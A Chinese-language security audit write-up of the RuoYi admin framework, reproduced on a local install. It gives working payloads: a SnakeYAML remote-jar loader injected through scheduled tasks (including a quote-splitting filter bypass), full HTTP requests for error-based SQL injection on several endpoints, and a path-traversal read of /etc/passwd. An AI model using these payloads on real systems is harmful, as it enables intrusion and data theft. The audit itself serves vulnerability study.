搭建环境: 1 git clone https://gitee.com/y_project/RuoYi.git
本次的ruoyi版本为4.0。
使用git checkout [版本号]
进行版本切换。
使用git tag
可以查看很多版本列表
审计过程: 1. shiro组件: 1.1 爆破shiro密码:
点击检测当前密钥后再点击爆破密码就会自动执行shiro密码爆破。
1.2 执行命令: 执行shiro反序列化,任意执行命令。
点击了检测当前利用链,就可以判断是否存在反序列化。
执行任意命令:
2. 定时任务: 如何使用定时任务? 首先需要注入到bean中:
接着编写cron表达式,需要指定哪个bean中的哪个方法。
定时任务存在调用任意类的任意方法,如图所示:
从请求中获取到了job的相关信息,其中包括job的调用字符串,因此可以调用任意类。
版本<=4.6.2 RCE: 影响版本:RuoYi<4.6.2
简要描述:由于若依后台计划任务处,对于传入的”调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
当前复现版本为若依4.0
下载poc:
artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com)
编写poc的yaml文件:
1 2 3 4 5 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:88/yaml-payload.jar" ] ]] ]
修改执行命令:
编译执行:
1 2 javac .\src\artsploit\AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
启动一个python的文件服务:
新增一个定时任务:
poc如下:
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://127.0.0.1:88/yaml-payload.jar"]]]] ‘)
执行成功:
这里复刻很奇怪,如果若依使用了高版本的jdk(jdk19)即可复现成功,但是使用1.8就不行,不知道为什么。
Caused by: java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 63.0), this version of the Java Runtime only recognizes class file versions up to 52.0
版本4.6.2: 当前审计版本4.6.2
:
只判断了rmi服务。
一样可以弹:
poc和上面一样:
1 org.yaml.snakeyaml.Yaml.load ('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:88/yaml-payload.jar" ]]]]')
版本4.7.0: 添加任务中存在校验,而且是后端校验:
但是没有黑名单校验:
因此还是可以bpass,同样的poc,只需要使用单引号即可绕过
1 org.yaml .snakeyaml .Yaml .load ('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["' h'' t'' t'' p'://127.0.0.1:88/yaml-payload.jar"]]]]' )
版本>4.7.2: 在添加中存在校验
存在黑名单校验:
还存在rmi校验,不知道如何bypass。
发现可以结合sql注入,然后修改字段最终实现bypass。
总结:
如果想使用ruoyi定时任务实现rce,可以先直接调用artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com) 的poc,如果是小于4.6.2版本则直接可以实现rce。在小于4.7.2版本中会校验是否存在rmi,ldap服务,以及对字符串判断是否存在http字样。如果存在http字样,可以使用单引号绕过,如'h''t''t''t'
。
在大于4.7.2版本则会添加类黑名单。
3. sql注入: 查询sql注入的方法可以从mybatis的配置文件入手,全局搜索${
即可。
3.1 查询角色管理列表sql注入: 路径为/system/role/list
查询mybatis的xml文件,可以查询到没有预编译的sql:
查询到controller层,如图所示:
由于这个role对象是从前端传进来的,而且是可控的,service层也是直接调用了,没有进行参数的校验,因此这个role对象是可控的。直接传递到dao层。
因此注入点是params[dataScope]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/role/list HTTP/1.1 Host : 127.0.0.1Content-Length : 185sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/roleAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=90aee3bf-d1af-480c-90ce-cd2ff50b733bConnection : closepageSize=&pageNum =&orderByColumn =&isAsc =&roleName =&roleKey =&status =¶ms [beginTime]=¶ms [endTime]=¶ms [dataScope]=and (select updatexml(1,concat(0x7e,(SELECT database())),0x7e))
或者是使用extractvalue
进行注入:
1 params[dataScope] =and extractvalue (1 ,concat (0 x7e,(select database ()),0 x7e))
3.2 查询用户列表: 路径为/system/user/list
也是存在dataScope注入点。
service层:
dao层:
也是一样的,user对象从前端传入后就没有经过校验,由于user的dataScope属性是可控的,因此这个sql注入点是存在的。
访问路径:/system/user/list
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/user/list HTTP/1.1 Host : 127.0.0.1Content-Length : 218sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/userAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9Connection : closepageSize=10&pageNum =1&orderByColumn =createTime&isAsc =desc&deptId =&parentId =&loginName =&phonenumber =&status =¶ms [beginTime]=¶ms [endTime]=¶ms [dataScope]=and extractvalue(1,concat(0x7e,(select version ()),0x7e))
或者修改为¶ms[dataScope]=and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))
3.3 角色导出: 请求路径为:/system/role/expor
审计了一下就是调用了查询角色列表,因此查询角色列表的sql注入可以复用:
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/role/export HTTP/1.1 Host : 127.0.0.1Content-Length : 75sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : */*Content-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/roleAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9Connection : closeparams[dataScope] =and extractvalue (1 ,concat (0 x7e,(select database ()),0 x7e))
3.4 导出用户列表: 请求路径为/system/user/export
和上面的查询用户列表一样,可以复用:
poc如下,可也使用and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/user/export HTTP/1.1 Host : 127.0.0.1Content-Length : 75sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : */*Content-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/roleAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9Connection : closeparams[dataScope] =and extractvalue (1 ,concat (0 x7e,(select database ()),0 x7e))
3.5 查询已分配角色列表: 路径为/system/role/authUser/allocatedList
同理查询${
,发现了selectAllocatedList
这个方法存在可疑的sql注入点:
追踪到controller层:
前端点击:
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/role/authUser/allocatedList HTTP/1.1 Host : 127.0.0.1Content-Length : 166sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/role/authUser/1Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9Connection : closepageSize=10&pageNum =1&orderByColumn =createTime&isAsc =desc&roleId =1&loginName =&phonenumber =¶ms [dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
也可以使用
1 ¶ms[dataScope] =and (select updatexml (1 ,concat (0 x7e,(SELECT database ())),0 x7e))
3.6 查询未分类角色列表: 查询接口:/system/role/authUser/unallocatedList
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/role/authUser/unallocatedList HTTP/1.1 Host : 127.0.0.1Content-Length : 173sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/role/authUser/selectUser/100Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9Connection : closepageSize=10&pageNum =1&orderByColumn =createTime&isAsc =desc&roleId =100&loginName =&phonenumber =¶ms [dataScope]=and (select updatexml(1,concat(0x7e,(SELECT database())),0x7e))
3.7 查询部门列表: 请求路径为:/system/dept/list
dept对象是可控的,因此可以直接梭哈:
注入点一样params[dataScope],还可以使用updatexml进行注入。poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/dept/list HTTP/1.1 Host : 127.0.0.1Content-Length : 101sec-ch-ua : "Not A(Brand";v="24", "Chromium";v="110"Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/deptAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9Connection : closedeptName=123 &status=¶ms[dataScope] =and (select updatexml (1 ,concat (0 x7e,(SELECT database ())),0 x7e))
3.8 修改部门状态: 请求路径为:/system/dept/edit
注入点为dept_id
。
controller层接口如图所示:
这个dept是从前端过来,并且是可控的,但是调用流程有点多,存在多个循环。
这个的注入点是ancestors
,前端传入的string类型,这里根据string字符串根据,
进行切割。因此可以构造成:
0)or(extractvalue(1,concat((select user()))));#
不知道为什么使用select version会显示不全。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /system/dept/edit HTTP/1.1 Host : 127.0.0.1Content-Length : 113sec-ch-ua : "Chromium";v="121", "Not A(Brand";v="99"Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1/system/dept/edit/101Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=721a661a-97f4-44bf-acaa-3f1e43c0b313Connection : closeDeptName =1 &DeptId=100 &ParentId=12 &Status=0 &OrderNum=1 &ancestors=0 )or(extractvalue(1 ,concat((select user()))));#
3.9 生成表 版本4.7.5: 存在硬编码:
service层:
controller层:
路径为/tool/gen/createTable
首先会判断当前sql是否存在sql注入:
根据这个SQL_REGEX
以|
分割获取所有的关键字
然后调用stringutils的方法,这个方法是获取当前第二个参数在第一个参数中匹配到的字符串的第一个下标,如abcd b
,匹配到了b所以返回第一个b字符串的下标1
。
所以当这个匹配到则返回的结果是大于-1,则表明存在sql注入。
根据切片获取到的sqlkeywords的list集合是
因此可以使用select/**/
这样去绕过空格检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /tool/gen/createTable HTTP/1.1 Host : 127.0.0.1sec-ch-ua : "Chromium";v="121", "Not A(Brand";v="99"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : iframeReferer : http://127.0.0.1/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=8b84098e-2440-457e-9770-2f51a5afe81eConnection : closeContent-Length : 142sql =CREATE table sadSELECT extractvalue(1 ,concat(0x7e ,(select version()),0x7e ));
3.10 组合拳 定时任务+sql注入 rce: 4. 任意文件读取: 版本小于4.5.1
路径为:/common/download/resource?resource=/profile/../../../../etc/passwd
处理逻辑主要获取到最后一个profile
然后截取后面的路径进行拼接。
本地资源这个方法不存在校验文件是否合法,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 GET /common/download/resource?resource=/profile/../../../ HTTP/1.1 Host : 127.0.0.1sec-ch-ua : "Chromium";v="121", "Not A(Brand";v="99"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : iframeReferer : http://127.0.0.1/indexAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=53976028-ac1b-48fd-840e-ddf217174015Connection : close
可以实现读取任意文件。